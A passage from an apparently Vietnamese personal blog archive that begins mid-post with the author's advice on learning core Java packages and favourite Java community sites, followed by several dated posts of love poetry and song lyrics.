sau thì càng nhanh hơn.
Gói tôi thích thứ 2 là gói java.util.concurrent, tôi tìm hiểu để thỏa mãn từ khóa synchronized và hiểu được vì sao java từng lạm dụng từ khóa này một cách quá đáng; tìm hiều các vấn đề về pooling. Tôi cố gắng thuần thục java.io với hàng loạt lớp Reader và Writer rồi mở rộng khả năng hiểu biết của bản thân với java.nio. Tôi tìm hiểu về java.net rồi kiếm sách vở về networking đọc thêm, sau đó tự cài đặt các ví dụ, chương trình đầu tiên trong cuộc đời lập trình của tôi là C2 – chat và chơi cờ qua mạng là cách để tôi tìm hiểu về java.net. Cứ như vậy, tôi học java mãi cho đến tận bây giờ.
Theo quan điểm cá nhân tôi, nếu muốn lập trình tốt java bạn cần phải thuần thục những gói sau (bao gồm cả các gói con của nó) là : java.lang (java.math, java.lang.ref
java.lang.reflect), java.util(java.util.concurrent, java.util.logging, java.util.prefs, java.util.regex, java.util.zip ), java.io (java.nio), java.net. Một khi đã vững những vấn đề và thư viện trong đó, bạn có thể học tiếp những framework như jdbc, swing, servlet+jsp, struts, jsf, hibernate,... để phục phụ trực tiếp vào công việc. Khi học java, tốt nhất đừng dùng các IDE như JBuilder, Eclipse hay Netbean, hãy dùng một TextEditor cố gắng gõ code nhiều nhất. Cũng đừng bao giờ cố gắng hiểu cặn kẽ những tư tưởng mà người ta đã cài đặt, hãy code và chạy, lúc đó bạn sẽ chiêm nghiệm được và khi đó, cầm lại cuốn sách đọc là hiểu rành mạch nhất.
Tôi thường vào những cộng đồng trên mạng để cập nhật những vấn đề cũng như tham khảo các bài viết của họ, tôi ít khi vào java.sun.com bởi các bài viết ở đó cũng không có nhiều bài hay. Nhiều người chọn theserverside.com để cập nhật công nghệ cho mình còn tôi, tôi chọn 2 trang chủ chốt là java.net và jroller.com. Trên java.net, tôi bắt gặp rất nhiều vấn đề bao trùm cả 3 lĩnh vực j2se, j2ee và j2me, nhiều nhất vẫn là j2se. Ở đây có những bài viết rất tuyệt từ những người đang trực tiếp phát triển java hàng ngày. Còn jroller.com, một cộng đồng blogger từ nhiều nơi trên thế giới đề cập tất cả các chủ đề, khía cạnh và liên tục cập nhật. Javalobby là một diễn đàn cũng tương đối thú vị, ở đó có những tranh luận tạo nhiều góc cạnh trong cái nhìn tổng thể về một chủ đề, còn article quý báu thì lại nằm rất nhiều trên javaworld.com. Tôi có một thói quen tệ, viết code chúa ghét là chèn những dòng comment rối tung rối mù lên, khi đọc, tôi khoái đọc code hơn là đọc chứ, bởi bản thân chúng gần như toát lên hết những vấn đề đã được đề cập.Ước gì có thể dùng photoshop vẽ ra được phần mềm chứ không cần phải code.");
}
}
Thursday, 5. June 2008, 06:57:58
Giấu một khoảng trời tình tự cũ
Đêm về trộm nhớ chút hương quen
Ai bước qua ta mà thanh thản
Tựa hồ cơn lạnh nhẹ qua đêm
Mấy độ hạ vàng cây em nhỉ?
Tình mình từ đấy cách xa nhau
Thôi nhé đường xa người đi biệt
Bên này người đợi với niềm đau
Anh gửi về miền xa thương nhớ
Những ngày ta ríu rít yêu đương
Gói ghém bao nhiêu là kỉ niệm
Biết đến bao giờ lại nhớ thương...
Hanoi, Jun-'08. by Mr.HaiDH
Monday, 24. March 2008, 04:18:30
Khúc Mưa
(Phú Quang)
Tháng sáu, mưa, mưa.
Giá trời đừng mưa, và anh đừng nhớ.
Trời không mưa và anh không nhớ, anh còn biết làm gì.
Em như hạt mưa trên phố xưa,
Nuôi kỷ niệm bam' hoai` trí nhớ.
Kỷ niệm như rêu, anh níu vào chợt ngã.
Tình xưa giờ quá xa.
Hoa cúc vườn nhà ai thả từng chùm,
Cho anh thương áo em vàng.
Tháng sáu trời buồn,
Tháng sáu riêng anh, bầy chim sẻ hiên nhà bay mất
Như em như em...
Tuesday, 1. January 2008, 15:22:54
Có những khi về qua phố /
Phố quá đông không thấy mặt người /
Chợt gặp mình cười như đá ngây ngô /
Một sớm mai nào thấy mình trong gương /
Tóc mờ như sương /
Hạnh phúc anh lang thang đến bao giờ / mới tìm lại được một người thay thế
« Prev 1 2 3 4 Next »
Showing posts 21 -
30 of 34.